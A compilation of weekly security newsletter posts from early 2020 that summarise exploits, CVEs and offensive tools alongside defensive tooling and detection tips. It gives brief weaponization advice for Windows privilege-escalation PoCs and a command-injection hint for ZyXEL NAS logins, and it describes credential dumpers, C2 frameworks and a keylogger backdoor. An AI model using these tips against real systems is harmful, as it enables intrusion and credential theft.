    • Brandon Azad, iOS exploitation master, released "oob_timestamp," a proof-of-concept research exploit that exports the kernel task port on iOS 13.3. Amazing work as always.
    • @jsherma100 published an incredibly detailed write up of the iOS 12-12.2 and 12.3 user-after-free exploit that became "Sock Puppet".


Tools and Exploits

  • PHP 7.0-7.4 UAF exploit that allows running arbitrary commands (Linux only).
  • Mimikatz can now dump creds from fully up to date Chrome on windows.
  • WDACTools - A PowerShell module to facilitate building, configuring, deploying, and auditing Windows Defender Application Control (WDAC) policies
  • Another fake logon screen for post exploitation credential capture on windows.
  • The first open source jailbreak based on checkm8 called Fugu was released. It currently only supports the iPhone 7 and iPad Pro (2017), and only works on macOS. checkra1n works on iPhone 5s to iPhone X but is currently closed source. Checkra1n released Linux support this week. It includes a web interface (demo) for headless devices such as the raspberry pi.
  • @CodeColorist released vscode-firda, a VS-code based GUI for using Frida to explore apps and processes on macOS.
  • A buffer overflow was discovered in sudo (CVE-2019-18634) if pwfeedback is enabled. Check with sudo -l | grep pwfeedback, macOS is not vulnerable by default but Linux Mint is.
  • OpenSMTP LPE/RCE (CVE-2020-7247) exploit released. This is a critical vulnerability but not a widely used mail server.
  • TeamViewer password encryption key and IV disclosed on windows; useful for post exploitation lateral movement.
  • Kali 2020.1 released, which includes a non-root user by default, simplified installer choices, and updated themes and icons.
  • Dufflebag - Search exposed AWS Elastic Block Store (EBS) volumes for secrets. This technique, shown at DEF CON 27, exploits bad (non-default) configurations for persistent disks in EC2 and Dufflebag automates the complicated process to get you loot faster.

Last Week in Security (LWiS) - 2020-02-17

Now with MITRE ATT&CK techniques in brackets where appropriate!


  • The US Attorney General indicted four suspected Chinese PLA members for the Equifax breach in 2017. The indictment states that the attackers wiped log files daily and routed traffic through dozens of servers in nearly 20 countries. Of note, one photo appears to be from a laptop camera, which indicates a possible "hack back" operation or potentially prior access by US intelligence.
  • CIA and BND (German CIA+NSA) owned and subverted the Swiss cryptography company Crypto AG from 1970 to 2018. Supply chain risk just got another poster child. Alex Stamos (former Yahoo/Facebook security exec) shared the time a Hardware Security Module (HSM) was... tampered with prior to delivery. Still not scared of Huawei? Hmm? [T1195]
  • @_dirkjan, the AD whisperer, revealed that CVE-2020-0665 was patched on Tuesday and is able to use "kerberos magic" to bypass forest security boundaries. More to come in April. Note this is unrelated to @harmj0y's forest trust research. [TA0008]
  • Security Key News
    • Google open sources titan security key firmware as OpenSK, a rust application for Tock OS running on a Nordic nRF52840 dongle.
    • snopf is a new open source USB "password tool" that works differently than a Yubikey or Google's Titan. It generates a password from a master seed based on parameters passed to it and emulates a keyboard to input the password when a physical button is pressed.
  • @Fox0x01 is back at it! Understanding trusted execution environments and ARM TrustZone is a great resource on how Trusted Execution Environments work on modern Android phones and their attack surface.
  • The Joshua Schulte trial (accused leaker of CIA tools "Vault 7") is underway and already contains some OPSEC fails. It appears Joshua downloaded TAILS and searched for disk wiping and MD5 sum utilities right after a USB was delivered from Amazon. Multiple levels of fail here, but if you buy a book on hiding bodies the day your spouse goes missing, the jury doesn't need to see the body to think you did it... [T1488]
  • unc0ver 4.0.1 is out, with support for iOS 13.1-13.3 on A12 and A13 (iPhone XS series, 11, and 11 Pro). This is the first time these devices have been supported by a jailbreak tool as checkra1n only supports i-devices up to the iPhone X. [T1068]
  • ImageMonkey, an open source repository of classified and tagged images, just surpassed 100,000 images. It is all available for free and even has an API. If you are doing any ML classification training involving images (or just learning ML and need data sets) this is a great resource.
  • US Cert has released 7 new detailed malware reports on DPRK malware, as well as releasing samples via Virus Total. These reports include code snippets on decoding C2 traffic and yara rules in addition to standard IOCs.


Tools and Exploits

  • VirusTotal releases an official Plugin for IDA Pro 7. It enables you to search for bytes, strings, similar code, or similar functions against the worlds largest collection of binaries to help your analysis. Standard VT licenses allow 90 days retrospection and Threat Hunter PRO allows for 1 year retrospection. [T1140]

  • Hashcat can now crack zip files using PKZIP at an insane rate of 22.7 ZettaHash/s on a single 2080Ti. Any PKZIP password shorter than 20 characters is not safe.

  • Bloodhound 3.0 released! Slides and Demos are available, as is a companion blog. Updates below. [T1482]
    • Powershell Remoting (port 5985/5986).
    • Control of Group Managed Service Account. Allows reading of plaintext password remotely by authorized principles
      • GMSAPasswordReader
      • Defenders audit DC permission with BloodHound and look for event ID 2947 in the Direct Service log to detect this technique
    • SID History - This is the property used for Golden Ticket attacks, now visible in BloodHound 3.0
    • OU Control - Adds the ability to push ACEs to OUs
    • SharpHound total rewrite (based on .NET 4.5) that gives ~30% faster LDAP collection (600k computers in a few hours!), better caching, and more accurate data collection
    • Various quality of life improvements: large graph drawing warning, improved dark mode, improved node data display, etc
    • During the webinar, the BloodHound team mentioned this great BloodHound Cypher cheatsheet for common queries
    • Best detection is to find "loud LDAP talkers" because the collection of lots of LDAP data is a primitive that cannot be changed for BloodHound to work
  • Mimikatz was updated last week to dump creds from Chrome, and it also works with the new Edge beta (Chromium based). [T1503]

  • Windows Local Privilege Elevation Exploits. Is anyone not SYSTEM at this point? It seems like a new LPE is dropped every day! [T1068]

    • CVE-2020-0683 - Windows MSI β€œInstaller service” Elevation of Privilege. This was patched on tuesday, but (surprise) another symbolic link handling bug, this time within MSI packages being installed, allowed an unprivileged attacker to write to arbitrary files. Like all LPEs this requires code to already be executing on the target, but looks like a nice solid LPE for the new year.
      • itm4n's writeup
      • PoC
      • Weaponization: implement the PoC in C# and run a DLL with UsoDllLoader, then clean up.
      • Generic Detection: Alert on file creation or symlinking of C:\windows\system32\WindowsCoreDeviceInfo.dll
    • Local Privilege Escalation in many Ricoh Printer Drivers for Windows (CVE-2019-19363) disclosed by pentagrid. If you are on a windows box, look for anything with PCL6 in the driver name and you can likely get SYSTEM.
    • AMD User Experience Program Launcher from Radeon Software is vulnerable to an insecure file move which leads to LPE
      • Writeup
      • PoC (amd_eop_poc)
      • Vulnerable Versions: AUEPLauncher (<=, AUEPMaster (<= 1950.15.1.117)
      • Weaponization: Same as CVE-2020-0683, C# version that can be run in memory and only drop the WindowsCoreDeviceInfo.dll to disk
      • Generic Detection: Alert on file creation or symlinking of C:\windows\system32\WindowsCoreDeviceInfo.dll
    • PrivescCheck is a fresh PowerShell v2 script that aims to be a dependency free yet feature filled Windows privesc checker.
  • Inspired by Orange Tsai's SSL VPN research, @plopz0r found 6 (!) vulnerabilities in SonicWall devices, including 3 pre-auth (SQLi for authenticated sessions, a classic buffer overflow, and a path traversal [existence only]). Patch your SonicWalls! [T1133]

  • KDU is a seriously impressive project that abstracts away the hard part of getting kernel execution on windows by leveraging vulnerable drivers that are compiled into a single executable. It works on everything from Windows 7 to Windows 10 20H2, even with SecureBoot enabled. It wouldn't be hard to take this project and weaponize it, especially if you have a driver 0day on your hands. Top marks to hfiref0x. [T1068]
    • This joins dsepatch, another driver signing enforcement cradle and gdrv-loader from last week, but dsepatch requires you provide your own vulnerable driver.
  • xgo: Cross compiling Go (golang) is easy in theory, but as soon as you start extending Go with C-based languages or modules, things get complicated. xgo makes building a go project for all targets as easy as xgo github.com/[user]/[go-project].

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • SysmonTools is a powerful collection of tools for investigating Sysmon and pcap logs.
  • Go (golang) is a great language for a number of reasons, but one drawback can be binary size. goweight is a tool that shows you what is taking up space in your compiled golang binaries, which allows you to make informed choices about dependancies.
  • npq npq is a drop in replacement for npm that adds a bunch of safety and vulnerability checks. It won't save you from someone cleverly backdooring a package, but it will at least check for known vulns and metrics like age and number of downloads. A baby step forward for the dumpster fire that is javascript dependency management. [T1195]

Last Week in Security (LWiS) - 2020-02-24

MITRE ATT&CK techniques are in brackets after entries where appropriate.


  • @hFireF0x has been on a rampage against Windows drivers. If you are looking for a driver to add to last weeks KDU or dsepatch, follow this user.
  • Deepfakes are being used to spread misinformation. We all knew it was coming, but this appears to be the first major use of a deepfake in an influence operation. The 2020 US election will likely see a few more. (How good are deep fakes? Really good, powered by DeepFaceLab)
  • The C2 Matrix is out! This matrix compares the features of all the major C2 frameworks available today. This is a great resource for choosing a C2 framework, and it hope it stays updated.
  • Estonian Foreign Intelligence published its 2019 annual report. It contains details of Russian and Chinese operations, both military and cyber. It also has well done infographics.
  • Apple will enforce a maximum certificate lifetime of 398 days on certificates issues from 2020-09-01 onward. If you are using Let's Encrypt this isn't an issue. Analysis here.
  • Chinese Bitcoin investor loses 45MM USD in sim swapping attack. If you have more money in cryptocurrency than you would carry in your wallet, it's time to buy and use hardware wallet. Same rule applies for how much cryptocurrency you should keep on an exchange.


Tools and Exploits

  • GadetProbe is a Burp Extension from BishopFox that can aid in identifying remote Java Classpaths even with blind deserialization. Their writeup is worth a read. [T1190 Exploit Public-Facing Application]
  • phsmem2profit is a tool from F-Secure that uses the winpmem driver to remotely access a Windows target's memory and extract credentials. Their blog post has the details. [T1003 Credential Dumping]
  • CVE-2020-0618: RCE in SQL Server Reporting Services (SSRS) exploits a deserialization issue and allows anyone authorized to view the SSRS to achieve remote code execution as nt servicereportserver. [T1190 Exploit Public-Facing Application]
  • onedrive_user_enum allows the enumeration of Office365 domain users that have logged into OneDrive in the past. This provides a reliable enumeration method that is unmonitored and replaces the patched ActiveSync enumeration technique. [T1078 Valid Accounts]
  • KittyLitter is a credential dumper service for Windows that binds to TCP, SMB, and MailSlot channels to communicate credential material to the lowest privilege attackers. This is likely not that useful for offensive engagements, but would be a great tool for attack and defend CTFs where a defender may be rolling creds and trying to kick you off a box. [T1003 Credential Dumping]
  • GadgetToJScript, rasta-mouse fork, makes GadgetToJSscript more user friendly by allowing input files and reference assemblies on the command line instead of hardcoding them which required recompiling the tool. Rastamouse has a blog post that details the changes as well. [T1064 Scripting]
  • IIS-Raid is a native IIS module that abuses the extendibility of IIS to backdoor the web server and carry out custom actions defined by an attacker by 0x09AL of MDSec. The MDSec blog has details. [T1100 Web Shell]
  • CVE-2020-1938 Apache Tomcat AJP file read PoC. Deserialization strikes again. [T1190 Exploit Public-Facing Application]
  • Koppeling by Silent Break Security enables advanced DLL Hijacking (maintain stability of the source process, keep code execution within the process, and get around complexities involved in loader lock). Their blog post has all the details. [T1038 DLL Search Order Hijacking]
  • inline_syscall is another header for C++ project on windows that allows for easy inlining of syscalls on windows. This project requires the use of clang, but does highly optimize and inline the direct syscalls. The first EDR to develop a generic detection for direct syscalls will likely have some unique detections. [TA0005 Defense Evasion]
    • This joins SysWhispers, a less optimized but more user friendly library for direct system calls.
    • @Cneelis's blog post which introduced the concept of direct syscalls.
  • CVE-2020-8813 is simple exploit for a pre (if a guest has real time graph privilege - not default) and post authentication command injection vulnerability in the Cacti network monitoring web frontend. This is a 90's/early 2000's style command injection in a cookie; legacy software with legacy bugs. [T1190 Exploit Public-Facing Application]
    • Only affects PHP < 7.2 and Cacti < 1.2.10 (not released as of 2020-02-24; 0day)
    • Demo
    • Patch
  • NoAmci uses DInvoke (from the SharpSploit update last week) to patch AMSI.dll in order to bypass AMSI detections triggered when loading .NET tradecraft via Assembly.Load(). As the offensive community moves from PowerShell to .Net EDR has started to catch up and these types of bypasses are required against advanced EDR. [T1054 Indicator Blocking]

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • 3snake is a tool for extracting information from newly spawned processes on Linux. This could easily be weaponized to ship creds back to a C2 once a box is rooted.

Last Week in Security (LWiS) - 2020-03-02

MITRE ATT&CK techniques are in brackets where appropriate.



Tools and Exploits

  • ZyXEL NAS pre-authentication command injection in weblogin.cgi is a classic command injection in the username field. Adding a '; allows for command injection.
    • Affected devices: NAS326, NAS520, NAS540, NAS542 have patches available; NSA210, NSA220, NSA220+, NSA221, NSA310, NSA310S, NSA320, NSA320S, NSA325 and NSA325v2 are forever vulnerable. [T1190 Exploit Public-Facing Application]
  • Doh365 is a new Office365 email enumeration tool from pry0cc that uses the login.microsoftonline.com/common/GetCredentialType endpoint to enumerate emails. It's subject to throttling but appears to be effective. [T1087 Account Discovery]
  • vscode-language-aggressor is a Cobalt Strike Aggressor extension for Visual Studio Code, and should come in handy for anyone who has tried to write an Aggressor script using Perl syntax highlighting. It also comes with tons of useful snippets.
  • CVE-2020-0688: Remote Code Execution on Microsoft Exchange Server Through Fixed Cryptographic Keys is a very interesting bug where the use of static keys (the same across every install) leads to post-auth RCE as SYSTEM. [T1190 Exploit Public-Facing Application]
  • UDP Hunter is a new python UDP scanner that covers all the common UDP services. My favorite scanning tool rumble run has limited UDP service support, so UDP Hunter is a welcome addition. A blog post by the tool author Savan Gadhiya is here. [T1046 Network Service Scanning]
  • xfrm_poc is a PoC UAF 8-byte write in the XFRM subsystem for linux 3.x-5.x kernels that leads to privilege escalation. Interestingly only a binary and detailed technical report have been released at this time. Affected distributions below. [T1068 Exploitation for Privilege Escalation]
    • Ubuntu 14.04 / 16.04 Server 4.4 LTS kernels
    • CentOS 8 4.18 kernels
    • Red Hat Enterprise Linux 8 4.18 kernels
    • Ubuntu 18.04 Server LTS 4.15 kernels
  • CVE-2020-2551 is an exploit against Oracle Weblogic Server IIOP,, and Yet another unauthenticated RCE against Weblogic. If you are unlucky enough to have Weblogic in your environment, patch and isolate it as much as possible. [T1190 Exploit Public-Facing Application]
  • Mouse Framework is an iOS and macOS post-exploitation framework that gives you a command line session with extra functionality between you and a target machine using only a simple Mouse Payload. Mouse gives you the power and convenience of uploading and downloading files, tab completion, taking pictures, location tracking, shell command execution, escalating privileges, password retrieval, and much more.

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • goloader is a project that produces a binary capable of loading and running compiled golang code at runtime. It reuses its own runtime when loading compiled golang code, so the size stays small. I could see this being used for some very cool implants.
  • css.gg has 500+ minimalistic CSS icons for your web front ends. All icons are open source and availalbe under the MIT license!

Last Week in Security (LWiS) - 2020-03-09

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-03-02 to 2020-03-09. MITRE ATT&CK techniques are in brackets where appropriate.


  • Project Sandcastle is a release of android for iPhones (Just 7 and 7+ currently) from Corellium. I think it's one part cool tech demo, and one part middle finger to Apple due to their recent legal battles.
  • Strategic Cyber LLC sells to Helpsystems marking an end to the 8 year old purveyor of Cobalt Strike, founded by Raphael Mudge. Cobalt Strike will live on under helpsystems, and may get integrated or expanded as helpsystems also owns Core Impact. SpecterOps, the services company also founded by Mudge in 2017, will continue independent of him.
  • Let's Encrypt CAA Rechecking Bug is causing 3 million certificates to be revoked. If a certificate request contained multiple domains, and one of the domains was validated within 30 days, Let's Encrypt could fail to check for CAA records that prohibit issuance by Let's Encrypt within 8 hours of the renewal for all domains as required by the spec. On March 5th, the day of the revocation deadline, Let's Encrypt walked back the revocation plan to be only 1.7 million certificates, 445 of which had forbid issuance by Let's Encrypt but were issued anyway due to the bug.
  • Intel x86 Root of Trust: loss of trust discloses a boot ROM bug that enables an attacker to get code execution inside of Intel's Converged Security and Management Engine (CSME). This is bad for lots of reasons, but the biggest are that being a ROM bug it is unfixable, and theoretically allows access to the chipset key allowing for hardware ID forgery, data decryption, etc. This is checkra1n (the iOS boot ROM exploit) for Intel chips, and effects every chipset besides 10th generation. Yikes. I imagine some people in windowless government offices are very excited by this news. Intel's official guidance: "End users should maintain physical possession of their platform." Thanks Intel. [T1200 Hardware Additions]
  • Mokes and Buerak distributed under the guise of security certificates. Attackers are turning a security control into a weapon, as users have been trained to click through certificate warnings in browsers. These attackers spoof the warning and deliver an executable when a user clicks to "Install (Recommended)." Well played.
  • Remote iOS/MacOS kernel heap corruption due to insufficient bounds checking in AWDL, what an innocuous title for such a monster bug. Ian Beer cements himself as a complete master of iOS/macOS bugs as he demonstrates the ability to wirelessly dump kernel memory from an iPad Pro on iOS 13.3 with no user interaction and AirDrop receiving off. The implication is that this can be turned into RCE, and that is truly terrifying. It's probably been quite a busy week in some other windowless government offices, as the ability to own modern iOS devices just by getting close to them is pretty much as good as it gets.


Tools and Exploits

  • BinDiff 6 released with experimental support for Ghidra. Good to see the big name tools supporting Ghidra.
  • CVE-2020-8794 PoC was released. 5 years of OpenSMTPD are vulnerable to this relatively simple exploit. Luckily, it's a rarely used mailer. [T1190 Exploit Public-Facing Application]
  • export_TSv.py allows you to parse Cobalt Strike Teamserver logs to extract credentials, sessions, and targets. This prevents you from having to setup a Teamserver just to get at old data.
  • KsDumper is a tool for dumping a process without calling OpenProcess (developed to get around anti-cheat). This could be useful for dumping malware or other processes out of memory that have good anti-debugging features, and shows a concrete use case for the kernel driver exploit tools featured the past two weeks. [T1003 Credential Dumping]
  • PoC-in-Github is a bot that scrapes GitHub for CVE PoCs and catalogs them. Note: It does not fork the PoCs so they are subject to author take downs.
  • SlackAttack is a python script (can be pyinstaller'd into a binary) that automates the backdooring of the slack desktop client to insert a keylogger that POSTs keystrokes on enter to a server you control. Note that if the app is signed this won't work on macOS as modifying the asar bundle breaks the signature. Windows doesn't care, even if the app is signed (this has been an open issue with electron since 2017), and linux only cares if the checks are done externally (i.e. with AppImage's validate tool or appimaged). Put this in your post-exploitation toolbox, but beware, the server component has a classic SQL injection vulnerability. [T1056 Input Capture]
  • SecretServerSecretStealer is a Powershell script that decrypts the data stored within a Thycotic Secret Server, one of the more popular "enterprise" password managers. This doesn't exploit a weakness with Thycotic Secret Server per say, as once you have code running on the Secret Server itself, it's game over. [T1003 Credential Dumping]
  • ManageEngine Desktop Central FileStorage getChartImage Deserialization of Untrusted Data Remote Code Execution Vulnerability is a good old fashion 0day dropped with no vendor notification, no CVE, and no patch or mitigation. This one even provides remote unauthenticated code execution as SYSTEM. [T1190 Exploit Public-Facing Application]
  • FullPowers is a windows PoC to automatically recover the default privilege set of a service account including SeAssignPrimaryToken and SeImpersonate. This is useful when an exploit lands you as LOCAL SERVICE or NETWORK SERVICE and you need impersonation privileges to escalate to LOCAL SYSTEM. Detailed information on itm4n's blog. [T1134 Access Token Manipulation]

Last Week in Security (LWiS) - 2020-03-16

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-03-09 to 2020-03-16. MITRE ATT&CK techniques are in brackets where appropriate.

Stuck in self-quarantine? Movies for hackers is a great list of movies and shows for hackers and cyberpunk types.


  • Apple's T2 Chip is vulnerable to checkra1n which could lead to unlimited attempts to decrypt a FileVault protected volume if an attacker has physical access. This leads to an interesting question: Did Apple know about the bug and subsequent fix on the A12 chip or was it patched coincidently? If they did know about it, why are they still shipping Macs with the flawed T2 which is built on the vulnerable A10 chip?
  • Finding a problem at the bottom of the Google stack details the process a Google site reliability engineer took as they traced down an issue from frontend to the datacenter. An interesting story of the kinds of issues you can have at Google-scale.
  • CVE-2020-8597 is a bug in the Point-to-Point Protocol (PPP) daemon for linux which allows for an unauthenticated attacker to cause a stack based buffer overflow. Right now the only PoC is a denial of service (crash) but this will likely be weaponized soon. Patch your VPNs! [T1190 Exploit Public-Facing Application]
  • avscript from the infamous Tavis Ormandy contains an interactive shell that lets you test Avast's custom javascript interpreter on Linux for vulnerability research. Yes, Avast ships a custom javascript interpreter and runs untrusted javascript through it. Since this came out Avast has disabled the interpreter globally.
  • Covid-19/Corona: Threat Actor Campaigns catalogs the many instances of threat actors leveraging the global pandemic to spread malware. Standard anti-phishing rules apply, even in a pandemic. [T1192 Spearphishing Link]


Tools and Exploits

  • Advanced process monitoring techniques in offensive operations from Outflank introduces Ps-Tools, an advanced process monitoring toolkit for offensive operations. These tools are useful to investigate and keep an eye on compromised hosts and alert when defenders show up and start investigating your tooling. The Ps-Tools are listed below. [T1005 Data from Local System]
    • Psx: Shows a detailed list of all processes running on the system.
    • Psk: Shows detailed kernel information including loaded driver modules.
    • Psc: Shows a detailed list of all processes with Established TCP connections.
    • Psm: Show detailed module information from a specific process id (loaded modules, network connections e.g.).
    • Psh: Show detailed handle information from a specific process id (object handles, network connections e.g.).
    • Psw: Show Window titles from processes with active Windows.
  • CVE-2020-0978 is going to be one to remember like MS08-067 and MS17-010; kernel RCE in Windows 10 1903/1909 via a buffer overflow in SMB3's new compression capability means this is wormable and we will likely see something like WannaCry/Not-Petya. [T1190 Exploit Public-Facing Application]
  • IceBox is a modified virtualbox for windows or linux that enables live, stealthy tracing and debugging on any kernel or user process. It is currently limited to one CPU per virtual machine, which may cause issues with environmental checks in malware. Perhaps this could be combined with VBoxHardenedLoader or antivmdetection.
  • Windows Privilege Escalation Exploits! I feel bad for any exploit dev who has been sitting on Windows LPE 0days as they aren't worth much any more. [T1068 Exploitation for Privilege Escalation]
  • harbian-audit has been updated to support hardening Debian 10 and CentOS 8.
  • pickl3 is another credential phishing tool for Windows. It is nicely packaged as a refelctive DLL and comes with a cna script for Cobalt Strike. For another option, see SharpLoginPrompt. [T1056 Input Capture]
  • Crescendo is a swift based, real time event viewer for macOS. It utilizes Apple's Endpoint Security Framework. This could be the start of an open source macOS based EDR tool!
  • Callidus is a new O365 C2 framework written in .NET core (C#) that supports C2 via Outlook, OneNote, or Microsoft Teams. [T1102 Web Service]
  • Zelos is a comprehensive binary emulation platform written in python for linux binaries. x86, x86_64, ARM, and MIPS binaries are supported, with Unicorn providing CPU emulation.
  • Starkiller is a frontend for the PowerShell Empire fork maintained by BC Security. Along with the improvements in the 3.1 release of PowerShell Empire, Starkiller allows for easy multi-user interaction with a common C2 server. More details available on the BC Security Blog.

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • saferwall is a self-hosted open source malware analysis platform; basically a self-hosted virus total. Once you acquire AV licenses, saferwall will spin up all the infrastructure to do malware scanning across 12 major AVs!

Last Week in Security (LWiS) - 2020-03-23

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-03-16 to 2020-03-23. MITRE ATT&CK techniques are in brackets where appropriate.



Tools and Exploits

  • MSOLSpray is a password spraying tool for Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. [T1110 Brute Force]
  • r00kie-kr00kie is the first tool to exploit the Kr00k (CVE-2019-15126) WiFi attack where many chips set the packet encryption key to all zeros when de-authenticated, but still send all the packets in the send buffer. It is possible to leak a few packets from busy clients each time you de-auth them. Think of it as heart bleed for WiFi, but much more disruptive to the end user. The Hexway Blog has a detailed explanation.
  • MemProcFS evolves direct memory access (DMA) attacks to their GUI based final form by mounting memory contents as a virtual file system allowing you to use normal tools like hex editors on live memory. It even comes with Python and C/C++ API bindings. [T1200 Hardware Additions]
  • Egalito: Layout-Agnostic Binary Recompilation is an interesting presentation by David Williams-King on a binary recompiler that lifts linux (x86-64, aarch64, and experimental RISC-V) ELF binaries to an intermediate language, applies modifications (i.e. patches, function trampolines, etc), and recompiles back to a binary. The spirit of this project is for binary hardening and after the fact patching, but I can see it being the basis of an advanced binary obfuscator or a tool to repurpose existing binary malaware automatically. All the code is GPL-3 and on GitHub.
  • LDAPFragger: Command and Control over LDAP attributes introduces a tool for C2 via LDAP to use in environments where LDAP queries to a shared AD are allowed from both an isolated network and network with internet access. The C# project is available on GitHub. [T1094 Custom Command and Control Protocol]
  • PDBRipper is a utility for extract an information from PDB-files, the Program Database multi-stream symbol file which contains lots of useful information about a binary.
  • LeakLooker-X is a GUI for discovering, browsing, and monitoring databases that leverages Binary Edge. [TA0007 Discovery]
  • gTunnel is a new tunneling solution written in golang. It may be useful as a base for how to implement tunneling in a custom golang access tool. [T1090 Connection Proxy]
  • Invoke-SharpLoader loads encrypted and compressed C# Code from a remote Webserver or from a local file straight to memory and executes it there. Very useful AV/EDR evasion tool. [T1500 Compile After Delivery]

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • dsdump is an improved nm + objective-d/swift class-dump. If you have worked with macOS or iOS binaries and tried to use the various forms of class dump, you know the issues with the change from objective-c to swift had on their output. dsdump has fixed these issues and provided even more options and output! Derek Selander provides a very in depth writeup on the inner workings as well.

Last Week in Security (LWiS) - 2020-03-30

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-03-23 to 2020-03-30. MITRE ATT&CK techniques are in brackets where appropriate.

Need a project while working from home? @Random_Robbie published a list of WordPress plugins that call shell_exec. Have fun!



Tools and Exploits

  • C2concealer is a command line tool that generates randomized C2 malleable profiles for use in Cobalt Strike. [T1001 Data Obfuscation]
  • TamperETW is a 64 bit PoC based on the blog post from last week about hooking Windows ETW telemetry to hid .NET actions. This PoC blocks assembly load events by hooking EtwEventWrite using native system calls. EDR will likely have a tough time with this. [T1054 Indicator Blocking]
  • ppdump-public uses Zemana AntiMalware Engine To Open a Privileged Handle to a Privileged Process or Privileged Process Low (PPL) and inject MiniDumpWriteDump() shellcode. It even comes with an aggressor script for easy integration with Cobalt Strike. [T1003 Credential Dumping]
  • changeling is a feature morphing tool that allows you to build dynamic payloads without having to constantly recompile. With correctly designed payload binaries, this tool can quickly swap out resources to change shellcode, settings, etc on the fly.
  • redirect.rules dynamically generates a redirect.rules file that will redirect Sandbox environments away from a payload hosting/C2 server to a site of your choosing. It combines a ton of User-Agent rules and IP space for known malware analysis companies to help keep your payload undetected for longer. The output rules work on Apache 2.4+ but it would be fairly easy to convert the output to nginx or iptables block rules. [T1090 Connection Proxy]
  • Runtime Mobile Security is a Frida powered web interface for maniputlating Android Java Classes and Methods at runtime. A comparable iOS tool would be passionfruit and for a powerful CLI tool that supports both Android and iOS, check out objection. [T1055 Process Injection]
  • Grandstream UCM62xx SQL Injection - Tenable drops an unauthenticated remote code execution exploit for the IP-PBX phone system. Over 10,000 of these show up on Shodan. Need more IoT exploits? Raelize released five for the end-of-life D-Link DSL-2640B here including hard coded credentials and Getting root on a Zyxel VMG8825-T50 router is a great breakdown of the process from unboxing to root shell. [T1190 Exploit Public-Facing Application]
  • Lockless is a C# tool that allows for the enumeration of open file handles and the copying of locked files. [T1005 Data from Local System]

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • dive is a tool for exploring each layer in a docker image interactively in a terminal user interface. It's great for showing what changes at each layer, and can be integrated with continuous integration to ensure space efficiency remains high. It is a great tool to explore containers for possible supply chain risk, especially if the containers are only provided as docker archives. [T1195 Supply Chain Compromise]

This post is cross-posted on SIXGEN's blog.

Last Week in Security (LWiS) - 2020-04-06

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-03-30 to 2020-04-06. MITRE ATT&CK techniques are in brackets where appropriate.


  • Zoom issues. With great marketshare comes great responsibility to not be a dumpster fire of security. Lest we forget last year when their macOS app installed a web server that listened on localhost and allowed for remote code execution and did not uninstall with the app. Thankfully that has been corrected and the issues discovered recently are less severe.
    • The 'S' in Zoom, Stands for Security. The macOS whisperer Patrick Wardle goes over past issues and digs into the current installer's "tricks" that are also seen in a lot of macOS malware. Pro tip: after clicking "Launch meeting" twice for a Zoom meeting in Chrome it will give the option to "Continue in browser." No client software required.
    • Elon Musk's SpaceX bans Zoom over privacy concerns. Not an unexpected move given all the news here. The most troubling quote is from a Zoom blog post: "Zoom has always strived to use encryption to protect content in as many scenarios as possible, and in that spirit, we used the term end-to-end encryption." End-to-end encryption is a technical term, not something you can have "in spirit."
    • β€˜War Dialing’ Tool Exposes Zoom’s Password Problems. A new tool called zWarDial is able to find a surprising number of Zoom meetings without passwords by brute forcing meeting IDs. Regardless of your conferencing solution, use a strong password!
    • Zoom’s Encryption Is β€œNot Suited for Secrets” and Has Surprising Links to China, Researchers Discover. 5 out of 73 Key managment servers are in China and are used for some calls that have no nexus in China and makes questionable encryption choices (128 AES in ECB mode?!).
    • There has been some press over Zoom "allowing" UNC paths to "leak windows password hashes" which in my opinion is a stretch at best. Zoom is opening the links correctly, and it is Windows that is sending hashes. To me, this is not a Zoom issue.
    • Zoom seems to be taking this all quite well, and have made concrete steps and promises to improve.
    • Jitsi Meet a more secure and self-hostable option for video conferencing (a good install and comparison to Big Blue Button here). Signal also is a great choice for everyday use and 1 on 1 video calls.
  • ATT&CK with Sub-Techniques β€” What You Need to Know. MITRE releases a new version of the ATT&CK matrix with sub-techniques! Check out the new matrix here.
  • Facebook tried to buy NSO iOS tool Pegasus (see point 10). NSO goes nuclear in their latest court filing by claiming that Facebook tried to pay them to hack iOS users for data collection. Extraordinary claims require extraordinary evidence, as NSO is certainly in a position to gain from bad press about Facebook given the pending Whatsapp lawsuit.
  • Introducing for Families. Cloudflare, one of the few (only?) audited DNS resolvers introduced two new options, will not resolve known malware domains, and will not resolve known malware domains or "adult content." DNS filters are by no means a full filtering solution, but if all it takes to block some malware is a DNS entry change and the provider has a track record of privacy, it may be a good option for average users.


Tools and Exploits

  • EyeWitness - Looking Sharp introduces the C# version of the EyeWitness website screenshot tool for use with Cobalt Strike or other C# implants. [T1046 Network Service Scanning]
  • nuclei - Project Discovery keeps the hits coming with nuclei, a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use. Think of it as an open source Nessus. Be sure to grab the templates too. [T1046 Network Service Scanning]
  • dirscan is a high performance tool for summarizing large directories or drives. Written in rust, this cross platform tool is blazing fast and works on local and network drives. If you need to quickly get a handle on where things are on a machine, this could be your new best friend. [T1005 Data from Local System]
  • magnifier0day is this week's Windows local privilege escalation exploit. This one requires a writable path in %PATH% but after that it is as easy as two hotkeys to a SYSTEM shell. [T1068 Exploitation for Privilege Escalation]

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • phpggc is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
  • pulsar is an automated network footprint scanner for Red Teams, Pentesters and Bounty Hunters. It's focused on discovery of an organization's public facing assets with minimal knowledge about its infrastructure. [T1046 Network Service Scanning]

This post is cross-posted on SIXGEN's blog.

Last Week in Security (LWiS) - 2020-04-13

